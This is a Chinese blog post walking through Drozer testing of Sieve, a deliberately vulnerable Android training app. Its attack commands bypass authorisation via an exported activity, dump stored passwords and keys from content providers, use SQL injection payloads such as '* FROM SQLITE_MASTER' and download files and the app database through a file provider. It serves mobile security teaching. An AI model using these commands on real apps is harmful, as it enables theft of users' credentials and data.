Drozer实践之sieve
-
在模拟器中打开drozer agent
-
启动连接drozer
adb connect 127.0.0.1:xxxxx //adb连接设备,只有模拟器才需要这一步,不同模拟器端口不同
adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务
drozer console connect //连接drozer
3.使用“app.package.list”命令来查找筛子的标识符:
dz> run app.package.list -f sieve //搜索特定的包名
com.mwr.example.sieve
4.使用“app.package.info”命令提供有关包的一些基本信息:
dz> run app.package.info -a com.mwr.example.sieve
展示了应用程序的一些详细信息,包括版本、应用程序在设备上保存数据的位置、安装位置以及应用程序允许的权限的详细信息。
5. 识别攻击面:
dz> run app.package.attacksurface com.mwr.example.sieve
服务是可调试的,可以使用adb将调试器附加到进程,并单步执行代码。
6. 显示暴露的Activity信息
dz> run app.activity.info -a com.mwr.example.sieve
7. 生成intent启动activity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
在后台制定一个适当的Intent,并通过startActivity调用将其传递给系统。
成功绕过了授权,并获得了用户凭据列表:
8. app.activity.start的更多选项
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]
9. 测试Content Provider (可能造成数据库泄漏
run app.provider.info -a com.mwr.example.sieve //获得更多Content Provider信息
drozer扫描器模块 汇集了各种猜测路径的方法,并预测可访问内容URI的列表:
dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri
dz> run app.provider.finduri com.mwr.example.sieve //枚举uri
使用其他drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:
dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/
//获取数据库数据,即用户列表和之前保存的账号密码等信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical
//竖直显示数据库数据
10. 测试Content Provider SQL注入问题
//dz> run scanner.provider.injection -a com.mwr.example.sieve
//检测可利用uri,检查sql注入
利用暴露的content provider进行sql注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"
//数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "
//使用sql注入列出数据库中的所有数据表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
//查询其他数据表
(Android操作系统默认使用SQLite数据库存储用户数据,SQLite数据库支持SQL语句,可以使用--projection参数和--seleciton参数传递一些简单的SQL注入语句到Content provider)
11. 从File System-backed Content Providers获取信息
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
根据应用程序数据目录路径 获得更多敏感信息
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts
//下载指定文件到指定目录
windows下不建议指定目录,会有问题,直接下到drozer的主目录下
eg: dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/com.mwr.example.sieve/databases/database.db /home/user/database.db
//将应用程序的数据库从设备复制到本地计算机
12. drozer自动测试漏洞模块
dz> run scanner.provider.injection -a com.mwr.example.sieve
posted on 2023-02-24 21:54 Mario24678 阅读(53) 评论(0) 编辑 收藏 举报
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?